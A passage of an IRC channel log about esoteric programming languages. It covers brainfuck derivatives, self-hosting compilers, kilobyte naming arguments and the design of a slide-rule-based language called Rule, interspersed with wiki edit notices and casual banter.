dull, a diæ̈resis or a tidlė) 18:07:15 b_jonas: Maybe? 18:07:24 b_jonas: I really just need to know how to put it in Lilypond 18:09:33 Maybe like a Caesura? 18:10:06 hppavilion[1]: as in https://en.wikipedia.org/wiki/Accent_(music) 18:10:38 -!- AnotherTest has quit (Ping timeout: 240 seconds). 18:10:42 b_jonas: Yeah, but I can't find the one I'm seeing 18:12:18 hppavilion[1]: do you know its meaning? 18:12:23 b_jonas: http://www.everyonepiano.com/pianomusic/005/0004121/0004121-w-b-1.png, measures 25 and 26 (go by the numbers above the first measure of each line) in the bass... stave? 18:12:25 b_jonas: Nope 18:13:31 wait, I think that one is something different, not an articulation mark... though I don't recall what it is 18:13:39 it looks like a bare bar 18:13:42 let me try to find what it is 18:14:12 s/bar/beam/ 18:14:36 I seem to remember I've seen something like that 18:16:22 hpp: can it be this notation: https://en.wikipedia.org/wiki/Tremolo 18:16:43 -!- sleffy has quit (Ping timeout: 240 seconds). 18:17:06 though I think that's always two or more beams, so it might not match 18:17:19 hmm no, apparently it can be one beam 18:29:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 18:31:14 -!- hppavilion[1] has joined. 18:37:38 -!- otherbot has joined. 18:42:11 <\oren\> Oh hey, the facebook killer shot himself 18:42:23 -!- atslash has quit (Read error: Connection reset by peer). 18:47:34 Aha: https://www.mercurial-scm.org/wiki/4.0sprint 18:47:48 -!- atslash has joined. 18:57:20 <\oren\> TESLA FREIGHT TRUCK YAS 18:57:37 -!- Zarutian has joined. 18:59:13 <\oren\> ELECTRIC LORRY! 19:03:10 -!- dingbat has quit (Quit: Connection closed for inactivity). 19:03:58 -!- nycs has joined. 19:04:37 OK, what the hell 19:04:42 Were there only 4 people in history? 19:05:08 Because Mary Shelley was inspired to write The Modern Prometheus after hearing her husband speak to Lord Byron about Galvanism 19:06:13 Lord Byron being another famous author (writing exempli gratia Don Juan and Epitaph to a Dog) who was ALSO the father of Ada Lovelace 19:06:30 -!- ^_^v has quit (Ping timeout: 240 seconds). 19:11:30 -!- MiningMarsh has joined. 19:15:08 hppavilion[1], a lot of people became famous because of their connections 19:15:12 And the Bryons were rich 19:22:01 -!- Herbstkind has quit (Quit: Leaving). 19:26:19 -!- atslash has quit (Read error: Connection reset by peer). 19:26:42 relcome MiningMarsh 19:26:45 ​MiningMarsh: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 19:26:48 (have you been here before?) 19:28:47 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 19:37:13 -!- augur has quit (Remote host closed the connection). 19:37:49 -!- augur has joined. 19:38:17 oh, great! 19:38:58 so... I'm clearly stupid for not having noticed this before, but apparently sometime between windows 7 and now, MS has fixed these stupid ribbon bars so that the tooltip of buttons on them now do show the shortcut key for the command 19:39:32 the old behavior of not showing the shortcut key anywhere was so stupid, it meant only old people like me could navigate programs, because we could guess what the shortcuts are from the time when they showed up in pulldown menus 19:40:05 and even I often couldn't guess 19:40:22 -!- AnotherTest has joined. 19:41:14 -!- hppavilion[1] has joined. 19:42:29 -!- augur has quit (Ping timeout: 255 seconds). 19:46:09 -!- MiningMarsh has quit (Ping timeout: 268 seconds). 19:54:04 -!- atslash has joined. 19:56:15 -!- MiningMarsh has joined. 19:56:30 -!- MiningMarsh has changed nick to MinMar. 20:02:03 -!- nycs has quit (Quit: This computer has gone to sleep). 20:02:56 -!- ^_^v has joined. 20:05:08 -!- MinMar has quit (Ping timeout: 260 seconds). 20:07:10 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 20:08:30 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:18:03 -!- hppavilion[1] has joined. 20:22:28 [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51777&oldid=47168 * Hppavilion1 * (+58) Pronunciation 20:23:00 "Ladies and gentlemen, a good service is operating on all London Underground lines. All other lines are operating a good service." 20:23:00 Did you remove the e from "Goedel" on purpose? 20:23:10 I don't think this "presumably" is really the right tone for this wiki. 20:23:22 Maybe if you want to have a conversation about it you can do it in the talk page. 20:24:05 fizzie: wrong channel hth 20:25:00 hppavilion[1]: The above is for you. 20:26:33 shachaf: I wasn't sure if it was amusing enough for the right channel, and the bar's lower here. 20:26:48 Is it really? 20:27:02 shachaf: I added a diæresis, but it was combining, so if your font sucks it might not render 20:27:04 It's more on-topic than the current conversation in that channel. 20:27:30 p. sure you didn't hth 20:27:44 [wiki] [[Jot]] M https://esolangs.org/w/index.php?diff=51778&oldid=51777 * Hppavilion1 * (+1) Fixed diacritic. Happy, shachaf? 20:27:54 No, I was doing my best to keep my name off that wiki. 20:28:04 And now it's there and won't ever go away. 20:28:06 :( 20:28:07 I'm pretty irritated. 20:28:16 *sigh* of course 20:28:23 shachaf: Sorry. 20:28:36 -!- minmar has joined. 20:28:54 -!- minmar has changed nick to MinMarsh. 20:29:20 Also you should get rid of or fix that pronunciation parenthetical. 20:29:24 As mentioned above. 20:30:03 I suspect your pronunciation is just wrong, too, but I don't know. 20:32:09 [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51779&oldid=51778 * Hppavilion1 * (-25) Dropped 'presumably', added other possible pronunciation at Voldemort's behest. 20:33:23 I think you should remove the whole thing. Why are you an authority on how to pronounce this name? 20:33:31 I would pronounce it like the English word "jot". 20:40:53 * rdococ 's favourite pronunciation is /jot/ 20:42:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:46:07 <\oren\> shachaf: wait why wouldn't you want 'shachaf' to be on the wiki? i mean, the wiki links to the logs for this channel which obviously contain over and over for literally years 20:46:16 ... 20:46:25 But that's not in the wiki. 20:46:38 <\oren\> uhhhhhhhh what 20:46:42 why does it matter anyway? 20:46:47 That's in the logs. 20:46:55 it's not like your mention in the wiki is going to jump out and kill you 20:46:58 \oren\: did you fix your build system yet twh 20:47:04 <\oren\> no 20:47:18 why not 20:47:21 it's holding you back 20:47:53 shachaf: I can do a history delete on the wiki if necessary 20:48:01 -_- 20:48:27 nothing is necessary 20:48:30 well, no 20:48:38 but I've never had the opportunity to do this before 20:48:44 [wiki] [[Special:Log/delete]] revision * Ais523 * Ais523 changed visibility of a revision on page [[Jot]]: edit summary hidden: Inappropriate comment or personal information 20:49:09 there, I hid the edit summary 20:49:25 Oh man, I was going to say it isn't necessary. 20:49:42 Now the fact that I've made you go to the trouble of doing it means I'll be even less likely to sign up for the wiki in the future. 20:49:47 In order to reduce cognitive dissonance. 20:49:54 ais523: now just wait for the cache to expire... 20:50:06 I still see the edit in https://esolangs.org/w/index.php?title=Jot&action=history 20:50:10 I guess it's just a cache? 20:50:22 * rdococ facepalms extremely hard 20:50:24 shachaf: yes, I only see it when not logged in 20:50:36 you could sign up under a pseudonym 20:50:51 I'm lagging again, aren't I? 20:51:16 ... 20:51:22 I'm lagging again, aren't I? 20:51:36 12:50 I'm lagging again, aren't I? 20:51:36 12:51 ... 20:51:36 12:51 I'm lagging again, aren't I? 20:51:41 ... 20:51:44 ... 20:51:47 <\oren\> sign up as "fashach" 20:51:48 [CTCP] Received CTCP-PING reply from ais523: 62 seconds. 20:51:49 I didn't answer your question because I don't know how to answer. 20:52:05 fashachism 20:52:06 * Ping reply from ais523: 0.703 second(s) 20:52:11 <\oren\> sign up as "fatchash" 20:52:14 "faschach" 20:52:32 "fæschætch" 20:52:42 "phaschatsch" 20:52:45 shachaf: it's OK, I mostly only asked the question for its side effects and was planning to discard the return value 20:52:56 I see. 20:53:27 <\oren\> oh wait shachaf means something right... 20:53:57 In elementary school people would distort my name as "fachash". 20:54:15 again, "Phaschatsch". 20:54:32 Can you just stop it, rdococ? 20:54:45 you're right. I'm worthless here. 20:54:46 -!- rdococ has left ("Leaving"). 20:54:51 haha 20:54:57 fachschaft 20:55:00 <\oren\> shachaf: ok what about "PkMnWingull87" noone will suspect a thing 20:55:31  echo PkMnWingull87 | base64 -d 2>/dev/null 20:55:32 â>C'Z)àºY| 20:55:44 now I'm wondering if the PK and MN digraphs are in Unicode 20:56:04 if they aren't, how are we going to convert files stored in Pokémon's internal text file format for archival? 20:56:05 <\oren\> I should totally add those to my font 20:56:17 Easy; don't use Unicode. 20:56:23 <\oren\> ais523: I'll message the Unicode mailing list 20:56:28 oren should totally propose those 20:56:39 we should make sure they aren't there first 20:56:41 stranger things have happened 20:56:42 (Alternatively, use private use codes. Or, better, don't use Unicode, but provide a mapping to Unicode with \oren\'s font!) 20:56:49 Huh, I didn't know that Phil Katz died in 2000 20:57:01 this sort of reasoning is basically how emoji ended up in Unicode, after all 20:57:59 <\oren\> myname: I'll write an email later once I've taken a full enventory of the characters needed 20:58:28 I could add such digraphs into the UTCE document though I suppose. (It also includes a partial Unicode mapping, but only for characters that actually exist in Unicode.) 20:58:36 ? inventory 20:58:38 An inventory is a collection of inventions. 20:59:26 -!- MinMarsh has quit (Ping timeout: 245 seconds). 21:00:18 -!- rdococ has joined. 21:00:58 -!- sleffy has joined. 21:02:47 COME FROM freenode; 21:02:57 <\oren\> iirc, the ones that aren't in unicode include Pk, Mn, Po, Ke, the P with two strokes used for the games' currency, 21:10:11 -!- ais523 has quit (Remote host closed the connection). 21:10:34 -!- ais523 has joined. 21:13:40 -!- hppavilion[1] has joined. 21:15:11 -!- sleffy has quit (Ping timeout: 260 seconds). 21:16:20 -!- moony has quit (Remote host closed the connection). 21:17:12 -!- sleffy has joined. 21:22:30 -!- lambdabot has quit (Ping timeout: 240 seconds). 21:24:48 -!- erkin has joined. 21:25:16 well, I'll be busy creating more stupid crap. 21:25:30 what kind of stupid crap do people want me to create tonight? 21:28:11 write a language which is easy to disguise as something else 21:28:18 my experience on PPCG is that we can /always/ do with more of those 21:28:25 assuming they're implemented 21:28:27 even if they're fairly stupid 21:28:42 (we've been resorting to plumbing the depths of BF derivatives on occasion…) 21:31:03 fortunately they're in no short supply 21:32:49 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 21:34:54 . o O ( Universal brainfuck reads the first 8 characters of a program, which it interprets as [>+,.-<] in that order. The remainder of the program is interpreted as a brainfuck program using that encoding. Any valid brainfuck program can be turned into a valid universal brainfuck program by prepending [>+,.-<] though that transformation will not preserve quines. ) 21:35:30 So that I can know for in future, is there a command in vim to exchange a character with the next one? 21:35:45 something like this should be useful for all those challenges that constrain the usable chracter set. You can apply a similar idea to some two symbol language, I'm sure. 21:35:46 zzo38: People say to use xp 21:35:54 zzo38: But that will overwrite your deletion buffer thing. 21:36:26 lots of existing programs are laid out as some kind of ascii art, someone should define a semantics for those 21:36:38 Jafet: you won't believe how long it took us to find an Alphuck interpreter that worked well enough to be usable, and even then it probably didn't implement the spec correctly 21:36:50 and Alphuck is one of the most derivative BF derivatives I've ever seen 21:37:54 couldn't you “find” one in about five minutes? 21:39:55 shachaf: Yes, that works; I did not think of that. Although you are also correct it also will overwrite the deletion buffer 21:40:04 Jafet: nah, it turns out that most BF derivatives don't actually work 21:40:52 I suspect many golfed brainfuck interpreters exploit the actual character codes in some way. For example +/- can be implemented using data[p] += 44-c, where c is the character read. 21:41:24 Yes, there are stuff you can do like that, by taking advantage of the ASCII codes 21:42:13 so just taking any brainfuck implementation and adapting it may be harder than you think. 21:42:39 otoh, there's some reference implementations... the bfgolf series had one if I recall correctly. 21:42:49 and many BF derivatives mess up things like comments 21:43:00 it's surprising how many BF derivatives add an explicit comment symbol 21:43:42 Also some implementation use ! to separate the program from input, but I think ] could be used for that purpose, for compatibility with programs that use ! for comments. 21:47:20 putting ] right after the program (read from a file) was one of my favorite brainfuck interpreter golfing tricks. 21:51:04 I haven't created a BF derivative. does that make me slightly less crap in your eyes? 21:54:08 that's two less than me! 21:54:29 really, putting in the effort to do something interesting is all that really matters, even if you don't succeed 21:54:42 because there are so many potential ideas out there that we need lots of people to help find them 21:57:04 true 21:57:21 hm 21:57:37 I bet someone's thought of using generalized continued fractions to represent real numbers in memory before 21:58:03 of course, I picked continued fractions over general infinite series because they're easier to apply algebra to 21:58:27 computable reals normally use some sort of hyperbinary 21:58:34 hyperbinary? 21:58:35 continued fractions is an interesting alternative 21:58:45 rdococ: it's like binary but 2 is a legal digit too 21:58:48 ah 21:58:56 (you can also do it with -1, that's more common when doing computable reals) 21:59:04 wouldn't they be redundant though? 21:59:15 I mean, surely "0.2" in binary is just "1" 21:59:29 because it's two halves 22:00:14 it's the same kind of binary as that chance of binary question 22:00:21 02 == 10 22:00:32 I'm still interested though 22:05:07 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 22:05:09 [wiki] [[K]] https://esolangs.org/w/index.php?diff=51780&oldid=51772 * Rdococ * (+4) /* Overview */ Modified the K construct 22:05:35 ais523: you can use the K construct in K to define pi. in fact, the example does. 22:06:42 also, the ?: conditional is right-associative so "a<2 ? 0 : a<4 ? 1 : 2" is "a<2 ? 0 : (a<4 ? 1 : 2)", much more useful than the alternative 22:08:27 [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51781&oldid=51780 * Rdococ * (-2) /* Overview */ Modified spacing in the example 22:23:34 -!- hppavilion[1] has joined. 22:24:29 rdococ: yes having 3 binary digits is redundant, but it solves the problem of what digit to produce after 0. if you have a number that is very close to 1/2: you produce 0.10000 and if the number is less than 1/2 after all, you can still express that using a -1 digit. 22:25:17 so 0.10000... is slightly less than 0.1? 22:25:25 where 1 is -1 22:25:54 Hm 22:26:09 actually let me use +,0,- for the digits. 0.+0000000000- is slightly less than 1/2. 22:26:32 0.0+++++++++++ is the same thing 22:26:36 I've heard that you can distinguish the abbreviation for SI kilobytes from that of true ~scotsmen~ kilobytes because the former is "kB" and the latter is "KB" 22:26:51 rdococ: sure, there's redundancy 22:26:51 Speaking of which, the other day someone mentioned https://en.wikipedia.org/wiki/Conway_base_13_function 22:26:53 hppavilion[1], depends which one is true 22:27:06 is the true one 1000 or 1024? 22:27:08 rdococ: in general, equality of computable reals cannot be established! 22:27:30 (i.e. the problem whether two computable real numbers are equal is undecidable) 22:27:39 int-e: perhaps 22:27:42 rdococ: Implicitly, true kilobytes are the ones that aren't SI 22:28:05 hppavilion[1]: that's basically a tautology, I was talking about which ones are 1024 bytes and which ones are 1000. 22:28:28 s/basically a tautology/trivial/ 22:28:48 rdococ: SI kilobytes are 1000 bytes. True kilobytes are, as implied by "can distinguish from by...", the ones that aren't SI 22:29:29 ty. 22:29:35 that was the information I was looking for 22:29:49 i prefer kibibytes vs kil8bytes over "true" and "si" 22:30:25 K is not a good prefix for 1024 22:30:25 also, the prefix for kibibytes is kiB 22:30:29 Therefor, true kilobytes are something other than 1000 bytes, and since 1024 is the most common one that isn't 1000, True Kilobytes are likely 1024 22:30:32 Potedecabyte? 22:30:42 shachaf: It is not, but that's pretty common 22:30:43 latin for power, latin for ten, and byte :P 22:30:43 myname: Isn't it KiB? 22:30:51 No, it's not common either. 22:31:05 shachaf: the should the k be uppercase there? 22:31:06 People use the prefix "K" to mean the same thing as "k". 22:31:24 kiB, MiB, GiB, TiB 22:31:36 It is "KiB", although I don't think it should be. 22:32:08 hppavilion[1]: talking such nonsense immediately exposes you as an american :p 22:32:19 Anyway network bandwidth is often measures in e.g. kbHz 22:32:24 Or is it KibHz? 22:32:25 Clearly the true KBs should be called "decem secundum virtutem Dei" :P 22:32:27 I'm not sure now. 22:32:46 Okay, wait 22:32:58 Google translates English "kilobyte" into Latin "megabyte"> 22:33:06 shachaf: Windows, an OS with 90% of the world's PC market share, indicates file sizes with "KB"(, "MB", "GB", "TB", ...) and counts as 1024. 22:33:06 consistently, too 22:33:13 Therefor, it's pretty common 22:33:19 > 'µ' == 'µ' 22:33:22 (or, well, an OS /family/) 22:33:31 Yes, but it doesn't use "k" to mean 1000. 22:33:32 hppavilion[1]: being common has nothing to do with being right 22:33:40 You're mixing up two unrelated things. 22:33:49 myname: But I wasn't saying it was right, I was saying it's common. 22:33:52 hmmmm, what happened to it 22:33:54 shachaf: Oh, yes, I see. 22:34:04 I'm pretty sure Windows uses 1000... 22:34:15 it doesn't 22:34:20 huh. 22:34:37 if it would, people would not wonder about hdd sizes 22:34:52 I don't think people know what a byte is, myname. 22:35:09 they don't need to 22:35:13 Nevermind a bit. 22:35:21 I believe there's a couple of contexts that use MB for 1000*1024 bytes. 22:35:37 Seriously? 22:35:41 there is the famous 3.5" floppy 22:35:57 that hast 1.44 kilokibibytes capacity 22:36:18 From now on, I'm referring to kibibytes as duadecabytes. 22:36:26 "2^10 bytes" 22:36:42 "Access to this virtual server has been restricted. The node is currently under maintenance. Please try again later"... huh. 22:36:42 (Or maybe bidecabytes.) 22:36:43 it's also a great example of why 1024 is a stupid number for that 22:36:45 Yes, a common 3.5" floppy size is 1440 KiB, which often gets referred to as "1.44 MB". 22:36:45 -!- HackEgo has quit (Ping timeout: 240 seconds). 22:36:58 In packaging, for example. 22:37:11 rdococ: Saying that you're worthless as a defense against other people calling you worthless is not a good strategy. 22:37:11 That's ridiculous. 22:37:27 shachaf: Agreed. But I have nothing else. 22:37:37 shachaf: (k|Ki?)[Bb]⋅Hz is a unit of data flow rate, is it not? 22:37:44 Better to just not say anything. 22:37:52 I understand that I'm hard to deal with, but I can't help being here. 22:38:05 So I try to cope. 22:38:07 I'm sure you can help being here. But my objection isn't to you being here. 22:38:11 shachaf: that'd my default strategy, damn 22:38:36 Yes, Hz is sometimes written as ps 22:38:48 shachaf: On the plus side, what I said was an esoteric username. :P 22:38:48 -!- HackEgo has joined. 22:39:05 myname: http://slbkbs.org/kj-volunteers.txt hth 22:39:12 (Answer: Yes, but it's a little weird to think about) 22:39:25 Hmm, that's not the excerpt I was thinking of but it's similar. 22:41:45 i don't get it 22:41:56 Maybe only the beginning is similar. 22:41:57 Never mind. 22:41:58 "emergency hardware maintenance", well just peachy. 22:42:11 gotta maintain your emergency hardware 22:42:17 just in case there's an emergency sometime 22:42:24 rdococ: Saying that you're worthless as a defense against other people calling you worthless is not a good strategy. <-- OK, did I miss something? Where did rdococ say that?? 22:42:31 Multiple times. 22:42:34 Did a message get dropped or something 22:42:52 hppavilion[1], it's fine. 22:43:07 also, esolangs.org doesn't seem to be loading. 22:43:13 rdococ: No, not because I really care, just because it's weird that I can't seem to find the context 22:43:28 ik. 22:43:59 I can't seem to connect to esolangs.org. 22:44:26 rdococ: Same here 22:45:22 Well, nothing I can do about it now... let's hope lambdabot recovers by itself (it really should provided the VM data remains intact). 22:45:34 int-e: You could move it to another machine. 22:45:46 Honestly, I think that even using 2^10 (or really, 2^13 if you count bitwise) as a mile marker for data is still too arbitrary 22:46:16 I can connect to esolangs.org but I don't get a response 22:46:18 hppavilion[1]: Perhaps, but it is double 512. 22:46:32 rdococ: 2^9. Also arbitrary. 22:46:39 hppavilion[1]: And that's double 2^8. 22:46:47 shachaf: perhaps, but sleep takes priority. 22:47:04 rdococ: 2^8 or 2^16 make more logical markers IMO, or maybe 2^12 if we need something in that range 22:47:06 int-e: Did you jam any good jams lately? 22:47:16 hppavilion[1]: What should we call them then? 22:47:24 Bytebytes? 22:47:25 But 8 is just 2^3 22:47:26 rdococ: GOOD QUESTION 22:47:28 Octabytes. 22:47:41 I finished thimbleweed park, I think that's basically the only gaming achievement for the past month. 22:47:48 Oh, I finished that too. 22:47:52 rdococ: I've heard that there are other food-related metaphors for data 22:48:01 I did need a walkthrough at one point though. 22:48:03 4 bits is a n[iy]bble, 2 bits is a crumb 22:48:08 hppavilion[1]: Nibbles 22:48:22 A nybble could be 8*4 bytes. 22:48:39 Or would they be nybles? 22:50:33 2^(2^3) 22:51:08 -!- sleffy has quit (Ping timeout: 252 seconds). 22:51:09 or 8 bytes should be 1 cookie 22:51:29 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:52:29 or 64 bits = 8 bytes = 1 hexabit, for 2^6 = 64 22:52:43 -!- orby has joined. 22:52:47 howdy! 22:52:49 -!- sleffy has joined. 22:53:01 sleffy: hello 22:53:09 'ello. 22:53:44 8 bits = 1 byte = 1 tribit, 64 bits = 8 bytes = 1 hexabit, 512 bits = 8 hexabits = 1 nonabit? 22:54:59 [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51782&oldid=51648 * Serprex * (+88) 26647 22:57:18 rdococ: A tribit has to be 3 bits hth. 22:57:41 hppavilion[1]: better: it's 2^3 bits :P 22:57:52 Of course, I'm aiming for esoteric here now 22:57:52 rdococ: I got that, but it's still stupid. 22:58:02 That's not esoteric, that's just confusing. 22:59:16 Think about all the major esolangs: brainfuck, the Fungeoids, Thue, Underload, Unlambda, and Malbolge 22:59:26 The esoteria isn't in that it's confusing, it's in that "Xbits" referring to "2^x bits" is an unusual naming scheme... 22:59:36 sure, it's confusing, but it's unusual 22:59:39 nvm... 22:59:53 hppavilion[1]: I can't replicate them, you know that. 23:00:05 rdococ: I know, I can't either, I'm just using them as an example 23:00:12 2/3 of them are very straightforward to understand, if a bit difficult to use 23:00:15 I want to be creative, but I don't know how to. 23:00:27 rdococ: I think that's what life is. 23:00:39 Unlambda isn't as easy to understand (since you need to know Combinatory Logic), but it isn't complicated 23:01:07 I still think you calling my idea "stupid" was a little uncalled for :/ 23:01:16 think about this: it's not a BF derivative. 23:01:26 actually, it's not an esolang. 23:01:32 ..nvm. 23:01:44 I'm sorry. 23:01:45 rdococ: Sorry, it's just not a very good scheme :/ 23:02:05 would it be better if I tried to make it clearer? 23:02:11 Malbolge is pretty much impossible to understand for a human mind, but it's still easy to understand in a rather Hofstadterian way: you get that it's really complicated and hard (if not impossible) for a human brain to understand 23:02:39 rdococ: Have you ever seen LOLCODE? That's what you want to avoid: don't just use crazy names for normal concepts 23:02:39 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:02:58 hppavilion[1]: True, but that's going to be extremely hard in what is basically an esoteric naming scheme. 23:03:35 hppavilion[1]: At least my names weren't just messed up versions of the originals. 23:04:37 If you can create a program that takes an esolang candidate and- without much difficulty (exempli gratia lexer, simplified string manipulation, reconcatenate)- turns it into a rather typical language that wouldn't count as an esolang, then it's not an esolang 23:04:37 I have to walk now 23:04:37 Bye 23:04:37 -!- hppavilion[1] has quit (Quit: HRII'FHALMA MNAHN'K'YARNAK NGAH NILGH'RI'BTHNKNYTH). 23:11:32 -!- MoALTz has quit (Quit: Leaving). 23:13:19 can you write a brainfuck to x86 compiler in brainfuck? 23:13:28 yes 23:13:30 BF is TC 23:13:45 if you don't have a cell number & a cell size limit 23:13:46 can you compile a brainfuck to x86 compiler in a brainfuck to x86 compiler? 23:14:01 no, a compiler isn't a language 23:14:09 oh 23:14:09 wait 23:14:10 yes 23:14:11 sorry 23:14:12 misread 23:14:17 Soni: have you seen AWIB? 23:14:25 AWIB? 23:14:32 http://esolangs.org/wiki/Awib 23:14:55 you don't even need to resort to "it's TC so it can be done in theory", it's been done in practice 23:15:56 so brainfuck is self-hosting, yes? 23:16:09 or w/e it's called 23:16:23 being self-hosting is only a property of a language-implementation pair 23:16:25 awib is self-hosting 23:16:31 brainfuck is just a language 23:16:46 you can say "brainfuck is capable of self-hosting", but then all IO-complete languages are 23:17:54 can you write a sed compiler (yes, compiler, not interpreter) in sed? 23:18:59 yes, although it would be an utterly frustrating thing to do 23:19:20 languages that low-level don't really like compiling regexes 23:19:32 <\oren\> Rio de Janiero is great, but I don't like having Jesus looking over my shoulder all the time 23:20:01 think of it this way: you can write a BF interpreter in sed, right? so you can write a sed compiler in BF, and then hardcode that program inro the BF-interpeter-in-sed 23:20:02 *into 23:20:19 people don't normally refer to this sort of arrangement when they talk about "self-hosting" because it's a) a pain to maintain, and b) really inefficient 23:20:30 but it does work, and it's often the only real way to get anything done in esolangs 23:20:50 <\oren\> wrong window 23:22:27 ok 23:26:30 hm 23:26:39 how about a language that's just a truth table? 23:26:48 bi 23:26:49 no 23:26:50 that's dumv 23:26:51 dumb 23:31:15 -!- lambdabot has joined. 23:45:29 -!- sleffy has quit (Ping timeout: 255 seconds). 23:51:16 [wiki] [[Rule]] N https://esolangs.org/w/index.php?oldid=51783 * Rdococ * (+1482) Created page with "'''Rule''' is a slide-rule-based esoteric programming language by [[User:Rdococ]]. == Overview == Rule's main esoteric gimmick is that it operates on a slide rule with multip..." 23:51:44 [wiki] [[Rule]] M https://esolangs.org/w/index.php?diff=51784&oldid=51783 * Rdococ * (+0) /* Examples */ 23:52:41 -!- sleffy has joined. 23:53:03 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51785&oldid=51784 * Rdococ * (+145) squaring 23:53:34 so whaja think? 23:54:03 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51786&oldid=51770 * Rdococ * (+80) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ 2017-04-19: 00:01:31 -!- zzo38 has quit (Remote host closed the connection). 00:01:52 -!- boily has joined. 00:04:26 hoily. are you going to mapole me again? 00:04:32 * rdococ blocks the mapole 00:05:37 rdochelloc! 00:05:48 * boily is not mapoling rdococ 00:05:58 block that, punk! 00:06:03 I came up with an esolang that is not just a rehashed version of something else. 00:06:07 * rdococ blocks the non-mapole somehow 00:06:20 it's called Rule. I want to see what you think of it. it's on ze website. 00:07:38 re Rule: do you plan making it TC? should there be IO? 00:10:18 there is IO. 00:10:33 IREAD for input, OWRITE for output. 00:10:40 it probably needs more scales 00:10:48 apart from that, though, it seems like a fairly unique idea 00:10:49 most likely. 00:10:57 if you have enough scales, many of which are slideable 00:11:03 ye 00:11:04 then you probably don't actually need registers 00:11:27 instead of slide/sread, you'd have "match S's 1 to T's N, where N is the number on U opposite V's 1" 00:11:44 add flow control and that can probably be TC, and might be interesting 00:13:28 yay 00:14:01 I'll probably add a linear scale for logarithms and exponentiation 00:17:27 and a slidable one too for addition 00:18:18 I could have multiple slidable sections 00:20:14 So do slide rules just add/subtract exponents/logs? 00:21:29 https://en.wikipedia.org/wiki/Slide_rule 00:24:18 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51787&oldid=51785 * Rdococ * (+196) /* Overview */ Added L and M linear scales for base e logarithms and addition. 00:25:09 Hm... 00:25:23 how could I add flow control while keeping with the concept of a slide rule 00:26:45 rdococ: Maybe you could have an instruction that defines a new slide rule? 00:26:51 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51788&oldid=51787 * Rdococ * (+4) Modified SLIDE. 00:27:00 I was thinking that, but how would it work? 00:27:20 Well each rule is basically a function right, where you have distance being input and value being output 00:27:39 And you can define the functions via the slide rule operations 00:27:49 It's not that each rule is a function. 00:28:04 Each pair of rules is a function, and it's a function calculated by the scales. 00:28:20 Well I mean, you can do the scale as a function 00:28:38 Ah. 00:28:44 Possibly. 00:28:48 So eg, x distance along the rule the value is y 00:29:07 (Interestingly, each pair of rules in which both rules are unslidable is a single-parameter function, and each pair in which one can be slid with SLIDE is a two-parameter function.) 00:29:19 For linear it's just y = x, for log its y = e**x etc 00:30:02 * rdococ notes that the base of the logarithmic scale doesn't matter as long as they're the same 00:30:30 Ah yeah, habit :P 00:30:39 heh. 00:30:46 I like the natural logarithm anyway. 00:31:06 (but base e arithmetic is a little bizarre.) 00:31:23 (You could say it's... esoteric :P) 00:31:34 (of course, it probably has practical uses) 00:31:40 e**soteric 00:31:49 lol 00:31:55 esoteric has 2 e's in it :P 00:32:04 e**sote**ric 00:32:18 esoteric has i in it :P 00:32:24 e^sote^ri^c 00:32:38 c is the speed of light, so you must square it 00:32:41 e^sote^ri^c^2 00:33:12 That reminds me of when I was bored in physics class, and came up with a convoluted way to aproximate g (which is as accurate as actual measurements due to variation over earth) 00:33:28 g = (pi**2) - e**(-e) 00:33:41 lol, seriously? :P 00:33:53 = 9.80361636524 00:35:34 How are programs stored in RULE, do you have a program counter slide that slides along a program rule? :P 00:35:38 ais523: maybe multiple slidable sections? 00:35:59 Alfie275: no, punched cards :P 00:36:05 rdococ: yes, that's what I wasa suggesting 00:36:10 oh 00:36:11 :p 00:36:20 oh 00:36:21 nvm 00:36:28 rdococ: Maybe you could have an instruction that defines a new slide rule? ← that's not flow control, that's data expansion 00:36:32 ais523: that might work in place of registers 00:36:42 ais523: Yeah, I was thinking just as an idea 00:36:43 rdococ: that's also what I was suggesting 00:36:49 ais523: ik 00:37:05 * rdococ wonders if he needs three registers 00:38:50 You could just use a JUMP command I guess, where you just jump to that instruction number 00:38:52 Is there an esolang which implements control flow using flow control? 00:40:00 Though expanding on the program as a rule idea, you could have the program be a rule that contains both instructions and any data, and then use matching against the data to do flow control and read off the instructions 00:40:25 shachaf: I don't think so 00:40:37 but one of my ideas on the back burner is an esolang that /only/ uses control codes 00:40:50 and XON/XOFF for control flow is just the sort of thing that would fit perfectly in that 00:41:41 Eg a command that matches the chosen rule against nearest data in the program rule, and then reads the command at a certain value (eg 0) and runs from there 00:42:01 hm 00:42:10 how would I perform I/O with registers being replaced 00:42:12 wait 00:42:14 I have an idea 00:45:56 hm 00:46:24 I'll have to keep one register. 00:47:32 wisdom 00:47:36 intercal//INTERCAL has excellent features for modular program for the enterprise market. 00:50:48 helloily 00:51:10 wisdom 00:51:12 patch//patch is the precursor to both perl and version control. 00:51:24 wisdom 00:51:25 the question//The The Question is the fundamental mystery of #esoteric, and boily is its master. 00:51:55 tell me the secrets boily 00:53:44 My language's examples are getting hard to follow in this upcoming edit 00:53:46 Surely boily has asked you the the question before. 00:54:40 ? question 00:54:41 question? ¯\(°​_o)/¯ 00:54:56 boily, what is the answer to the The Question? 00:55:02 I'm betting it's 42. 00:57:00 [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51789&oldid=51788 * Rdococ * (+734) Whew. 00:58:12 I guess it's a good thing that my language is getting harder to understand, yet its concept is still simple. Also, now the slide rule can snap and break. 00:58:21 hm, I just exec'd a haskell source file and it didn't fail 00:58:35 oh, “import” is an imagemagick tool 00:59:07 I 